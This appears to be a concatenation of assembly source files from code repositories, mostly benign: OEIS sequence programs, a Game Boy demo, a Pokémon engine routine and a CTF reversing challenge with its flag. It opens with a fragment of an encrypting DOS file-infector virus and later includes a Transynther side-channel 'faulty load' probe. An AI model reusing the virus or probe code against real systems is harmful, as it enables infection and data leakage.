cx ; Save CX for later rep movsb ; Copy the bytes lea si,[bp + write_stuff] ; SI points to write stuff mov cx,5 ; CX holds length of write rep movsb ; Copy the bytes pop cx ; Restore CX pop si ; Restore SI inc cx ; Copy the RET also this time rep movsb ; Copy the routine again mov ah,040h ; DOS write to file function lea dx,[bp + start] ; DX points to virus lea si,[bp + finish] ; SI points to routine call si ; Encrypt/write/decrypt mov di,bp ; DI points to virus again pop bp ; Restore BP ret ; Return to caller write_stuff: mov cx,finish - start ; Length of code int 021h encrypt_code endp end_of_code label near encrypt_decrypt proc near lea si,[bp + start_of_code] ; SI points to code to decrypt mov cx,(end_of_code - start_of_code) / 2 ; CX holds length xor_loop: db 081h,034h,00h,00h ; XOR a word by the key inc si ; Do the next word inc si ; loop xor_loop ; Loop until we're through ret ; Return to caller encrypt_decrypt endp finish label near code ends end main
27.506361
75
0.670953
b0a35c903e1bdc462a21de1bdd39b8d149298b0a
448
asm
Assembly
programs/oeis/267/A267708.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
22
2018-02-06T19:19:31.000Z
2022-01-17T21:53:31.000Z
programs/oeis/267/A267708.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
41
2021-02-22T19:00:34.000Z
2021-08-28T10:47:47.000Z
programs/oeis/267/A267708.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
5
2021-02-24T21:14:16.000Z
2021-08-09T19:48:05.000Z
; A267708: Triangle read by rows giving successive states of cellular automaton generated by "Rule 206" initiated with a single ON (black) cell. ; 1,1,1,0,1,1,1,0,0,1,1,1,1,0,0,0,1,1,1,1,1,0,0,0,0,1,1,1,1,1,1,0,0,0,0,0,1,1,1,1,1,1,1,0,0,0,0,0,0,1,1,1,1,1,1,1,1,0,0,0,0,0,0,0,1,1,1,1,1,1,1,1,1,0,0,0,0,0,0,0,0,1,1,1,1,1,1,1,1,1,1,0,0,0,0,0,0,0,0,0 mov $1,1 lpb $0 sub $0,$2 mov $1,$0 trn $0,1 trn $1,$0 add $2,1 trn $0,$2 lpe mov $0,$1
32
201
0.584821
e681e124c6a5c42f7741e4d7efbc7ddcbcc61dc7
2,418
asm
Assembly
examples/hello-world.asm
eried/gingerbread
eb5b28c5174dc0ff46efbc2d3ff6bcb15fd92654
[ "Unlicense" ]
null
null
null
examples/hello-world.asm
eried/gingerbread
eb5b28c5174dc0ff46efbc2d3ff6bcb15fd92654
[ "Unlicense" ]
null
null
null
examples/hello-world.asm
eried/gingerbread
eb5b28c5174dc0ff46efbc2d3ff6bcb15fd92654
[ "Unlicense" ]
null
null
null
; This section is for including files that either need to be in the home section, or files where it doesn't matter SECTION "Includes@home",ROM0 ; Prior to importing GingerBread, some options can be specified ; Max 15 characters, should be uppercase ASCII GAME_NAME EQUS "HIWORLD " ; Include SGB support in GingerBread. This makes the GingerBread library take up a bit more space on ROM0. To remove support, comment out this line (don't set it to 0) ;SGB_SUPPORT EQU 1 ; Include GBC support in GingerBread. This makes the GingerBread library take up slightly more space on ROM0. To remove support, comment out this line (don't set it to 0) ;GBC_SUPPORT EQU 1 ; Set the size of the ROM file here. 0 means 32 kB, 1 means 64 kB, 2 means 128 kB and so on. ROM_SIZE EQU 1 ; Set the size of save RAM inside the cartridge. ; If printed to real carts, it needs to be small enough to fit. ; 0 means no RAM, 1 means 2 kB, 2 -> 8 kB, 3 -> 32 kB, 4 -> 128 kB RAM_SIZE EQU 1 INCLUDE "gingerbread.asm" INCLUDE "images/hello_world.inc" SECTION "Text definitions",ROM0 ; Charmap definition (based on the hello_world.png image, and looking in the VRAM viewer after loading it in BGB helps finding the values for each character) CHARMAP "A",$14 CHARMAP "B",$15 CHARMAP "C",$16 CHARMAP "D",$17 CHARMAP "E",$18 CHARMAP "F",$19 CHARMAP "G",$1A CHARMAP "H",$1B CHARMAP "I",$1C CHARMAP "J",$1D CHARMAP "K",$1E CHARMAP "L",$1F CHARMAP "M",$20 CHARMAP "N",$21 CHARMAP "O",$22 CHARMAP "P",$23 CHARMAP "Q",$24 CHARMAP "R",$25 CHARMAP "S",$26 CHARMAP "T",$27 CHARMAP "U",$28 CHARMAP "V",$29 CHARMAP "W",$2A CHARMAP "X",$2B CHARMAP "Y",$2C CHARMAP "Z",$2D CHARMAP "<happy>",$02 CHARMAP "<sad>",$03 CHARMAP "<heart>",$04 CHARMAP "<up>",$07 CHARMAP "<down>",$08 CHARMAP "<left>",$06 CHARMAP "<right>",$05 CHARMAP " ",$00 CHARMAP "<end>",$30 ; Choose some non-character tile that's easy to remember SomeText: DB "HELLO WORLD <happy><end>" SECTION "StartOfGameCode",ROM0 begin: ; GingerBread assumes that the label "begin" is where the game should start ld hl, hello_world_tile_data ld de, TILEDATA_START ld bc, hello_world_tile_data_size call mCopyVRAM ld b, $30 ; end character ld c, 0 ; draw to background ld d, 5 ; X position ld e, 6 ; Y position ld hl, SomeText ; text to write call RenderTextToEnd call StartLCD main: halt nop jr main
26.866667
170
0.694789
1cdca9a3464c74faa26f30f8ade9dbdc06e19a23
668
asm
Assembly
engine/battle/move_effects/fury_cutter.asm
AtmaBuster/pokeplat-gen2
fa83b2e75575949b8f72cb2c48f7a1042e97f70f
[ "blessing" ]
6
2021-06-19T06:41:19.000Z
2022-02-15T17:12:33.000Z
engine/battle/move_effects/fury_cutter.asm
AtmaBuster/pokeplat-gen2-old
01e42c55db5408d72d89133dc84a46c699d849ad
[ "blessing" ]
null
null
null
engine/battle/move_effects/fury_cutter.asm
AtmaBuster/pokeplat-gen2-old
01e42c55db5408d72d89133dc84a46c699d849ad
[ "blessing" ]
3
2021-01-15T18:45:40.000Z
2021-10-16T03:35:27.000Z
BattleCommand_furycutter: ; furycutter ld hl, wPlayerFuryCutterCount ldh a, [hBattleTurn] and a jr z, .go ld hl, wEnemyFuryCutterCount .go ld a, [wAttackMissed] and a jp nz, ResetFuryCutterCount inc [hl] ; Damage capped at 5 turns' worth (16x). ld a, [hl] ld b, a cp 6 jr c, .checkdouble ld b, 5 .checkdouble dec b ret z ; Double the damage ld hl, wCurDamage + 1 sla [hl] dec hl rl [hl] jr nc, .checkdouble ; No overflow ld a, $ff ld [hli], a ld [hl], a ret ResetFuryCutterCount: push hl ld hl, wPlayerFuryCutterCount ldh a, [hBattleTurn] and a jr z, .reset ld hl, wEnemyFuryCutterCount .reset xor a ld [hl], a pop hl ret
11.928571
40
0.67515
2f7bf3af6bbc0e8442d9eee3733b8603be9b1cb7
555
asm
Assembly
oeis/158/A158558.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/158/A158558.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/158/A158558.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A158558: a(n) = 30n^2 + 1. ; 1,31,121,271,481,751,1081,1471,1921,2431,3001,3631,4321,5071,5881,6751,7681,8671,9721,10831,12001,13231,14521,15871,17281,18751,20281,21871,23521,25231,27001,28831,30721,32671,34681,36751,38881,41071,43321,45631,48001,50431,52921,55471,58081,60751,63481,66271,69121,72031,75001,78031,81121,84271,87481,90751,94081,97471,100921,104431,108001,111631,115321,119071,122881,126751,130681,134671,138721,142831,147001,151231,155521,159871,164281,168751,173281,177871,182521,187231,192001,196831,201721 pow $0,2 mul $0,30 add $0,1
79.285714
496
0.796396
bb040f1a265aa55e7349a20760d0fa977d0d7786
4,365
asm
Assembly
Transynther/x86/_processed/US/_st_/i7-8650U_0xd2.log_2_722.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
9
2020-08-13T19:41:58.000Z
2022-03-30T12:22:51.000Z
Transynther/x86/_processed/US/_st_/i7-8650U_0xd2.log_2_722.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
1
2021-04-29T06:29:35.000Z
2021-05-13T21:02:30.000Z
Transynther/x86/_processed/US/_st_/i7-8650U_0xd2.log_2_722.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
3
2020-07-14T17:07:07.000Z
2022-03-21T01:12:22.000Z
.global s_prepare_buffers s_prepare_buffers: push %r11 push %r13 push %r14 push %r15 push %r8 push %rcx push %rdi push %rsi lea addresses_WC_ht+0x151f7, %rsi lea addresses_UC_ht+0x184f7, %rdi nop nop xor %r15, %r15 mov $118, %rcx rep movsq nop nop nop nop nop sub %r11, %r11 lea addresses_WT_ht+0x1c4f7, %r14 nop nop nop nop and $28756, %rdi mov $0x6162636465666768, %r15 movq %r15, %xmm4 vmovups %ymm4, (%r14) nop nop xor %rsi, %rsi lea addresses_WC_ht+0x93f7, %rsi lea addresses_normal_ht+0x18777, %rdi clflush (%rsi) nop nop and %r13, %r13 mov $73, %rcx rep movsq nop nop and $2189, %rdi lea addresses_normal_ht+0x1e5d7, %rsi nop nop add %r15, %r15 movups (%rsi), %xmm0 vpextrq $1, %xmm0, %rcx nop nop nop nop nop sub %rsi, %rsi lea addresses_UC_ht+0x31f7, %rsi lea addresses_A_ht+0x3f7, %rdi nop nop nop nop nop sub %r8, %r8 mov $84, %rcx rep movsw nop cmp $38515, %r8 lea addresses_UC_ht+0x169f7, %r13 nop nop nop nop nop add $30551, %r15 mov (%r13), %esi nop nop nop nop sub %rdi, %rdi lea addresses_UC_ht+0x1a1fb, %rsi lea addresses_A_ht+0x1a5f7, %rdi nop nop nop nop cmp %r15, %r15 mov $36, %rcx rep movsw nop add $33614, %r15 lea addresses_normal_ht+0xb7f7, %rsi lea addresses_A_ht+0xdff7, %rdi clflush (%rdi) nop nop nop nop nop and %r15, %r15 mov $2, %rcx rep movsb nop nop nop nop nop add $37896, %rdi lea addresses_A_ht+0xb9f7, %r15 nop nop cmp $37837, %r13 movups (%r15), %xmm5 vpextrq $1, %xmm5, %rcx nop add %rdi, %rdi pop %rsi pop %rdi pop %rcx pop %r8 pop %r15 pop %r14 pop %r13 pop %r11 ret .global s_faulty_load s_faulty_load: push %r10 push %r11 push %r13 push %r15 push %rax push %rbp push %rcx // Store lea addresses_UC+0x181f7, %r13 nop nop nop nop nop add $38718, %rcx movb $0x51, (%r13) nop dec %r15 // Load lea addresses_US+0x171f7, %r10 nop nop nop sub %rbp, %rbp movups (%r10), %xmm6 vpextrq $0, %xmm6, %r11 nop nop nop inc %r11 // Store lea addresses_A+0x13cf7, %r15 nop and $12713, %r11 movw $0x5152, (%r15) nop cmp $0, %rax // Load mov $0x20f64700000001f7, %rcx sub $1563, %r13 mov (%rcx), %rbp nop nop nop nop nop add %rax, %rax // Faulty Load lea addresses_US+0x171f7, %r15 sub %rbp, %rbp mov (%r15), %eax lea oracles, %r10 and $0xff, %rax shlq $12, %rax mov (%r10,%rax,1), %rax pop %rcx pop %rbp pop %rax pop %r15 pop %r13 pop %r11 pop %r10 ret /* <gen_faulty_load> [REF] {'OP': 'LOAD', 'src': {'type': 'addresses_US', 'size': 16, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_UC', 'size': 1, 'AVXalign': False, 'NT': False, 'congruent': 10, 'same': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_US', 'size': 16, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': True}} {'OP': 'STOR', 'dst': {'type': 'addresses_A', 'size': 2, 'AVXalign': False, 'NT': False, 'congruent': 7, 'same': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_NC', 'size': 8, 'AVXalign': False, 'NT': False, 'congruent': 11, 'same': False}} [Faulty Load] {'OP': 'LOAD', 'src': {'type': 'addresses_US', 'size': 4, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': True}} <gen_prepare_buffer> {'OP': 'REPM', 'src': {'type': 'addresses_WC_ht', 'congruent': 11, 'same': False}, 'dst': {'type': 'addresses_UC_ht', 'congruent': 8, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_WT_ht', 'size': 32, 'AVXalign': False, 'NT': False, 'congruent': 6, 'same': False}} {'OP': 'REPM', 'src': {'type': 'addresses_WC_ht', 'congruent': 7, 'same': False}, 'dst': {'type': 'addresses_normal_ht', 'congruent': 6, 'same': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_normal_ht', 'size': 16, 'AVXalign': False, 'NT': False, 'congruent': 1, 'same': False}} {'OP': 'REPM', 'src': {'type': 'addresses_UC_ht', 'congruent': 10, 'same': False}, 'dst': {'type': 'addresses_A_ht', 'congruent': 7, 'same': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_UC_ht', 'size': 4, 'AVXalign': True, 'NT': False, 'congruent': 11, 'same': False}} {'OP': 'REPM', 'src': {'type': 'addresses_UC_ht', 'congruent': 1, 'same': False}, 'dst': {'type': 'addresses_A_ht', 'congruent': 10, 'same': False}} {'OP': 'REPM', 'src': {'type': 'addresses_normal_ht', 'congruent': 9, 'same': False}, 'dst': {'type': 'addresses_A_ht', 'congruent': 9, 'same': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_A_ht', 'size': 16, 'AVXalign': False, 'NT': False, 'congruent': 10, 'same': False}} {'51': 2} 51 51 */
19.486607
152
0.649026
efe92bc50eef1801f1618ca13c0b19babdb0af70
8,675
asm
Assembly
challenges/reverse-engineering/calvinball/source/calvinball.asm
infosec-ucalgary/magpieCTF-2021
78459a1e16ac3a135e891c2246232c4890960b92
[ "MIT" ]
18
2021-02-22T00:09:27.000Z
2022-02-28T14:23:33.000Z
challenges/reverse-engineering/calvinball/source/calvinball.asm
infosec-ucalgary/magpieCTF-2021
78459a1e16ac3a135e891c2246232c4890960b92
[ "MIT" ]
null
null
null
challenges/reverse-engineering/calvinball/source/calvinball.asm
infosec-ucalgary/magpieCTF-2021
78459a1e16ac3a135e891c2246232c4890960b92
[ "MIT" ]
6
2021-02-22T01:32:10.000Z
2022-02-25T15:48:42.000Z
;********************************************************************************************* ;* ;* CALVINBALL: REVERSE-ENGINEERING SELF-MODIFYING CODE ;* ;* AUTHOR: Emily Baird, Sept 7 2020 ;* Many thanks to Karsten Scheibler's introduction to SMC for linux: ;* http://asm.soureforge.net/articles/smc.html ;* ;* I'm sorry! So sorry! I'm ver ;* 49276d20736f7272792120536f20536f727279212049276d20766572 ;* ;* magpie{m4ke_y0ur_0wn_Ru1ez!} ;* 6d 61 67 70 69 65 7b 6d 34 6b 65 5f 79 30 75 72 5f 30 77 6e 5f 52 75 31 65 7a 21 7d ;* ;********************************************************************************************* global main ; allow access extern scanf ; import scanf() for user input ;********************************************************************************************* ;* macro assignment ;********************************************************************************************* %assign SYS_WRITE 4 %assign SYS_MPROTECT 125 %assign PROT_READ 1 %assign PROT_WRITE 2 %assign PROT_EXEC 4 ;********************************************************************************************* ;* data section ;********************************************************************************************* section .data format: db "%s", 0 ; specify string format for user input x: times 28 db 0 ; reserve bytes for 28-char input ;********************************************************************************************* ;* calvinball_start ;********************************************************************************************* section .text main: ; allow writing into .text section itself mov dword eax, SYS_MPROTECT ; 1st arg: system call opcode (sys_mprotect) mov dword ebx, main ; 2nd arg: location of section and dword ebx, 0xfffff000 ; page-align location of section mov dword ecx, 0x1000 ; 3rd arg: modify 1 page (4kb) mov dword edx, (PROT_READ | PROT_WRITE | PROT_EXEC) ; 4th arg: set bits to allow rwx permission int byte 0x80 ; execute syscall test dword eax, eax ; error handling: check exit code js near calvinball_error ; error handling: jump on error ;********************************************************************************************* ;* main method ;********************************************************************************************* ; print welcome message print1: mov dword eax, SYS_WRITE ; 1st arg: system call opcode (sys_write) mov dword ebx, 1 ; 2nd arg: file handle (stdout) mov dword ecx, welcome ; 3rd arg: pointer to string mov dword edx, (welcome2 - welcome) ; 4th arg: length of string int byte 0x80 ; execute syscall ; set up XOR garbage mov dword [welcome], 0x500a4624 ; overwrite welcome with xor flag values mov dword [welcome+4], 0x1f090a1a ; overwrite welcome with xor flag values ; print welcome message part 2 mov dword eax, SYS_WRITE ; 1st arg: system call opcode (sys_write) mov dword ebx, 1 ; 2nd arg: file handle (stdout) mov dword ecx, welcome2 ; 3rd arg: pointer to string mov dword edx, (welcome3 - welcome2) ; 4th arg: length of string int byte 0x80 ; execute syscall ; set up XOR garbage mov dword [welcome+8], 0x0c454a4d ; overwrite welcome with xor flag values mov dword [welcome+12], 0x1d061016 ; overwrite welcome with xor flag values ; take user input using scanf() from C library push x ; 1st arg: input buf location push format ; 2nd arg: string format call scanf ; execute C library call add esp, 8 ; clean up stack ; set up XOR garbage mov dword [welcome+16], 0x4f0e422d ; overwrite welcome with xor flag values mov dword [welcome+20], 0x5c521b7f ; overwrite welcome with xor flag values mov dword [welcome+24], 0x0f440c45 ; overwrite welcome with xor flag values ; compare bytes from input to flag_fail XOR welcome (welcome is screwed up) ; return value comes back from func in eax: return value is the number of bytes that match between input and flag comp: mov edi, x ; 1st arg: location of user input mov esi, flag_fail ; 2nd arg: location of comparison string mov edx, welcome ; 3rd arg: location of garbled welcome msg call func ; jump to comparison function mov ebx, eax ; move return value into ebx ; set up self-modifying code: NOP instructions are written into EAX, and the return value from func is used ; to generate an offset to place the NOPs at mov dword eax, 0x90909090 ; move opcode for NOP instruction into eax mov [comp+ebx], eax ; overwrite mem location with NOP ; jump to print_fail (GOAL IS TO NOP OUT THIS INSTRUCTION!!) jmp print_fail ; unconditional jump over print_success ; print success message print_success: mov dword eax, SYS_WRITE ; 1st arg: system call opcode (sys_write) mov dword ebx, 1 ; 2nd arg: file handle (stdout) mov dword ecx, flag_success ; 3rd arg: pointer to string mov dword edx, (flag_success2 - flag_success) ; 4th arg: length of string int byte 0x80 ; execute syscall jmp main_end ; skip to end of program ; print failure message print_fail: mov dword eax, SYS_WRITE ; 1st arg: system call opcode (sys_write) mov dword ebx, 1 ; 2nd arg: file handle (stdout) mov dword ecx, flag_fail ; 3rd arg: pointer to string mov dword edx, (flag_fail2 - flag_fail) ; 4th arg: length of string int byte 0x80 ; execute syscall ; exit with code 0 (no error) main_end: mov eax, 0 ret main_end1: nop ;********************************************************************************************* ;* string setup ;********************************************************************************************* welcome: db "This is my game, so I make the rules.", 10 welcome2: db "Have a flag? Maybe if it's good enough, I'll let you win.", 10 welcome3: flag_fail: db "I'm sorry! So sorry! I'm very very sorry that I took your precious flag!", 10, "This flag isn't good enough to beat me at Calvinball.", 10 flag_fail2: flag_success: db "Olly-wolly poliwoggy, ump-bump fizz!", 10, "That's my favourite flag, guess you win this one!", 10 flag_success2: error_msg: db "encountered error, exited process with code 1", 10 error_msg2: ;********************************************************************************************* ;* comparison function for 2 strings ; 1st arg: location of user input, comes in on edi ; 2nd arg: location of flag_fail string for comparison, comes in on esi ; 3rd arg: location of first XOR second, comes in on edx ;********************************************************************************************* func: push ebp ; save old base pointer mov ebp, esp ; set new base pointer to stack pointer sub esp, 4 ; make room for 4-byte stack variable push ebx ; store edx ; while loop setup: mov ecx, 0 ; initialize loop counter to 0 mov ebx, 3 ; initialize correct comparison counter to 0 jmp func_loop_test ; go to loop test ; while loop: while(i<28){ ; if (input byte == (flag XOR welcome)byte) ; count++ ; advance input byte ; advance (flag XOR welcome) byte ; } func_loop_body: inc ecx ; increment loop counter mov al, [edi] ; get one byte of user input from memory xor al, [edx] ; xor 1 byte of user input against flag XOR flag_fail cmp al, [esi] ; compare user_input XOR (user_input XOR flag_fail) to flag_fail jne advance ; if they are unequal, do not increment counter inc ebx ; otherwise, increase counter advance: inc edi ; advance to next byte of user input inc esi ; advance to next byte of flag_fail inc edx ; advance to next byte of XOR func_loop_test: cmp ecx, 28 ; check value of loop counter jle func_loop_body ; go to top of loop mov eax, ebx ; put comparison counter into return var pop ebx mov esp, ebp ; deallocate stack variables pop ebp ; restore caller's base pointer ret ; return to calling code ;********************************************************************************************* ;* error handling during setup ;********************************************************************************************* calvinball_error: mov dword eax, SYS_WRITE mov dword ebx, 1 mov dword ecx, error_msg mov dword edx, (error_msg2 - error_msg) int byte 0x80 xor dword eax, eax ; clear eax inc dword eax ; set eax to 1 mov dword ebx, eax ; set ebx to 1 int byte 0x80 ; syscall (sys_exit, code 1)
39.253394
155
0.569222
9a6c8eb11f4572a81706954366d59d032aed2f44
2,233
asm
Assembly
test/asm/Movetowards.asm
renatocf/MAC0242-PROJECT
fa60db8b43a595b9cbd50bb04652a5ffb03dac8a
[ "Apache-2.0" ]
1
2016-07-07T23:45:43.000Z
2016-07-07T23:45:43.000Z
test/asm/Movetowards.asm
renatocf/MAC0242-PROJECT
fa60db8b43a595b9cbd50bb04652a5ffb03dac8a
[ "Apache-2.0" ]
null
null
null
test/asm/Movetowards.asm
renatocf/MAC0242-PROJECT
fa60db8b43a595b9cbd50bb04652a5ffb03dac8a
[ "Apache-2.0" ]
null
null
null
mvtw: STO 11 STO 10 STO 12 STO 13 RCL 12 RCL 10 SUB STO 10 RCL 13 RCL 11 SUB STO 11 RCL 10 DUP PUSH 0 EQ JIT iZero DUP PUSH 0 LT JIT iPlus DUP PUSH 0 GT JIT iNeg iZero: POP RCL 11 DUP PUSH 0 EQ JIT ret PUSH 0 GT JIT e JMP w iPlus: RCL 11 PUSH 0 EQ JIT iPjZero RCL 11 PUSH 0 GT JIT iPjNeg JMP iPjPlus iNeg: PUSH 1 PUSH 2 SUB MUL RCL 11 PUSH 0 EQ JIT iNjZero RCL 11 PUSH 0 GT JIT iNjNeg JMP iNjPlus iPjZero:POP RCL 12 PUSH 2 MOD JIF ne JMP nw iNjZero:POP RCL 12 PUSH 2 MOD JIF se JMP sw iPjNeg: RCL 11 PUSH 1 PUSH 2 SUB MUL DIV PUSH 1 PUSH 2 DIV GT JIT e JMP ne iPjPlus:RCL 11 DIV PUSH 1 PUSH 2 DIV GT JIT w JMP nw iNjNeg: RCL 11 PUSH 1 PUSH 2 SUB MUL DIV PUSH 1 PUSH 2 DIV GT JIT e JMP se iNjPlus:RCL 11 DIV PUSH 1 PUSH 2 DIV GT JIT w JMP sw e: PUSH ->E MOVE RET ne: PUSH ->NE MOVE RET nw: PUSH ->NW MOVE RET w: PUSH ->W MOVE RET sw: PUSH ->SW MOVE RET se: PUSH ->SE MOVE RET ret: POP PUSH 0 RET
14.5
26
0.288849
a05e966db9e6cbcff958116d05e8420e879480ce
529
asm
Assembly
unittests/ASM/PrimaryGroup/3_F7_02.asm
cobalt2727/FEX
13087f8425aeaad28dc81bed46a83e1d72ff0db8
[ "MIT" ]
628
2020-03-06T14:01:32.000Z
2022-03-31T06:35:14.000Z
unittests/ASM/PrimaryGroup/3_F7_02.asm
cobalt2727/FEX
13087f8425aeaad28dc81bed46a83e1d72ff0db8
[ "MIT" ]
576
2020-03-06T08:25:12.000Z
2022-03-30T04:05:29.000Z
unittests/ASM/PrimaryGroup/3_F7_02.asm
cobalt2727/FEX
13087f8425aeaad28dc81bed46a83e1d72ff0db8
[ "MIT" ]
38
2020-03-07T06:10:00.000Z
2022-03-29T09:27:36.000Z
%ifdef CONFIG { "RegData": { "RAX": "0x414243444546B8B7", "RBX": "0x51525354AAA9A8A7", "RCX": "0x9E9D9C9B9A999897" }, "MemoryRegions": { "0x100000000": "4096" } } %endif mov rdx, 0xe0000000 mov rax, 0x4142434445464748 mov [rdx + 8 * 0], rax mov rax, 0x5152535455565758 mov [rdx + 8 * 1], rax mov rax, 0x6162636465666768 mov [rdx + 8 * 2], rax not word [rdx + 8 * 0 + 0] not dword [rdx + 8 * 1 + 0] not qword [rdx + 8 * 2 + 0] mov rax, [rdx + 8 * 0] mov rbx, [rdx + 8 * 1] mov rcx, [rdx + 8 * 2] hlt
16.53125
32
0.589792
5e5649636063a1261c5b6ec3b86775f93c80bf22
821
asm
Assembly
Examples/ch16/MultData.asm
satadriver/LiunuxOS_t
c6222f04b6e734002cbf1aa366eb62e51f0ebbe5
[ "Apache-2.0" ]
null
null
null
Examples/ch16/MultData.asm
satadriver/LiunuxOS_t
c6222f04b6e734002cbf1aa366eb62e51f0ebbe5
[ "Apache-2.0" ]
null
null
null
Examples/ch16/MultData.asm
satadriver/LiunuxOS_t
c6222f04b6e734002cbf1aa366eb62e51f0ebbe5
[ "Apache-2.0" ]
null
null
null
TITLE Multiple Data Segments (MultData.asm) ; This program shows how to explicitly declare ; multiple data segments. ; Last update: 2/1/02 cseg SEGMENT 'CODE' ASSUME cs:cseg, ds:data1, ss:mystack main PROC mov ax,data1 ; point DS to data1 segment mov ds,ax mov ax,seg val2 ; point ES to data2 segment mov es,ax mov ax,val1 ; requires ASSUME for DS mov bx,es:val2 ; ASSUME not required cmp ax,bx jb L1 ; requires ASSUME for CS mov ax,0 L1: mov ax,4C00h ; return to MS-DOS int 21h main ENDP cseg ENDS data1 SEGMENT 'DATA' ; specify class type val1 dw 1001h data1 ENDS data2 SEGMENT 'DATA' val2 dw 1002h data2 ENDS mystack SEGMENT para STACK 'STACK' BYTE 100h dup('S') mystack ENDS END main
20.525
54
0.63581
bd75cd1883664ac8f745e9e268aafacc757bbb14
2,188
asm
Assembly
temp/01 printlns.asm
chenhsi/Ambroscum
76053f6fcd9452771fcd4af8fc5580cc0106144b
[ "MIT" ]
null
null
null
temp/01 printlns.asm
chenhsi/Ambroscum
76053f6fcd9452771fcd4af8fc5580cc0106144b
[ "MIT" ]
5
2022-01-27T17:54:08.000Z
2022-01-27T17:56:29.000Z
temp/01 printlns.asm
chenhsi/Ambroscum
76053f6fcd9452771fcd4af8fc5580cc0106144b
[ "MIT" ]
null
null
null
.data stringTrue: .asciiz "true" stringFalse: .asciiz "false" stringNewline: .asciiz "\n" string0: .asciiz "\\n" string1: .asciiz " " string2: .asciiz "[" string3: .asciiz "]" .text _b1: li $v0, 1 li $a0, 1 syscall li $v0, 4 la $a0, stringNewline syscall li $v0, 1 li $a0, 16 li $v0, 9 syscall move $17, $v0 li $t8, 3 sw $t8, 0($17) li $t9, 4 add $16, $17, $t9 li $t8, 1 sw $t8, 0($16) li $t9, 8 add $16, $17, $t9 li $t8, 2 sw $t8, 0($16) li $t9, 12 add $16, $17, $t9 li $t8, 3 sw $t8, 0($16) li $v0, 1 move $a0, $17 syscall li $v0, 4 la $a0, stringNewline syscall li $v0, 1 li $a0, 4 li $v0, 9 syscall move $16, $v0 li $t8, 0 sw $t8, 0($16) li $v0, 1 move $a0, $16 syscall li $v0, 4 la $a0, stringNewline syscall li $v0, 1 li $a0, 16 li $v0, 9 syscall move $18, $v0 li $t8, 3 sw $t8, 0($18) li $t9, 4 add $17, $18, $t9 li $t8, 1 sw $t8, 0($17) li $t9, 8 add $16, $18, $t9 li $t8, 2 sw $t8, 0($16) li $t9, 12 add $16, $18, $t9 li $t8, 3 sw $t8, 0($16) move $16, $17 lw $16, 0($16) li $v0, 1 move $a0, $16 syscall li $v0, 4 la $a0, stringNewline syscall li $v0, 1 li $a0, -10 syscall li $v0, 4 la $a0, stringNewline syscall li $v0, 1 li $a0, 23 syscall li $v0, 4 la $a0, stringNewline syscall li $v0, 1 li $a0, 1 syscall li $v0, 4 la $a0, stringNewline syscall li $v0, 1 li $a0, 3 syscall li $v0, 4 la $a0, string1 syscall li $v0, 1 li $a0, -3 syscall li $v0, 4 la $a0, stringNewline syscall li $v0, 1 li $a0, 0 syscall li $v0, 4 la $a0, stringNewline syscall la $a0, stringTrue syscall li $v0, 4 la $a0, stringNewline syscall la $a0, stringTrue syscall li $v0, 4 la $a0, stringNewline syscall la $a0, stringFalse syscall li $v0, 4 la $a0, stringNewline syscall li $v0, 4 la $a0, string2 syscall li $v0, 4 la $a0, string1 syscall li $v0, 1 li $a0, 3 syscall li $v0, 4 la $a0, string1 syscall li $v0, 4 la $a0, string3 syscall li $v0, 4 la $a0, stringNewline syscall _b2: li $v0 10 syscall
14.025641
30
0.547075
1a70c8db26dae4e69f1c75e78c98fa2f295495f1
203
asm
Assembly
arch/lib/char/char_to_digit.asm
Mosseridan/Compiler-Principles
6c72a462b90ca6c6db380976c2aa60471fa65325
[ "MIT" ]
null
null
null
arch/lib/char/char_to_digit.asm
Mosseridan/Compiler-Principles
6c72a462b90ca6c6db380976c2aa60471fa65325
[ "MIT" ]
null
null
null
arch/lib/char/char_to_digit.asm
Mosseridan/Compiler-Principles
6c72a462b90ca6c6db380976c2aa60471fa65325
[ "MIT" ]
null
null
null
/* char/char_to_digit.asm * '0' -> 0, ..., '9' -> 9 * * Programmer: Mayer Goldberg, 2010 */ CHAR_TO_DIGIT: PUSH(FP); MOV(FP, SP); MOV(R0, FPARG(0)); SUB(R0, IMM('0')); POP(FP); RETURN;
14.5
35
0.53202
646bf1afcadc0ed9499d719100d97c19dd9da8ae
330
asm
Assembly
pwnlib/shellcraft/templates/mips/linux/mq_notify.asm
zaratec/pwntools
8793decd1c9b8c822e3db6c27b9cbf6e8cddfeba
[ "MIT" ]
5
2018-05-15T13:00:56.000Z
2020-02-09T14:29:00.000Z
pwnlib/shellcraft/templates/mips/linux/mq_notify.asm
FDlucifer/binjitsu
999ad632004bfc3e623eead20eb11de98fc1f4dd
[ "MIT" ]
null
null
null
pwnlib/shellcraft/templates/mips/linux/mq_notify.asm
FDlucifer/binjitsu
999ad632004bfc3e623eead20eb11de98fc1f4dd
[ "MIT" ]
6
2017-09-07T02:31:11.000Z
2021-07-05T16:59:18.000Z
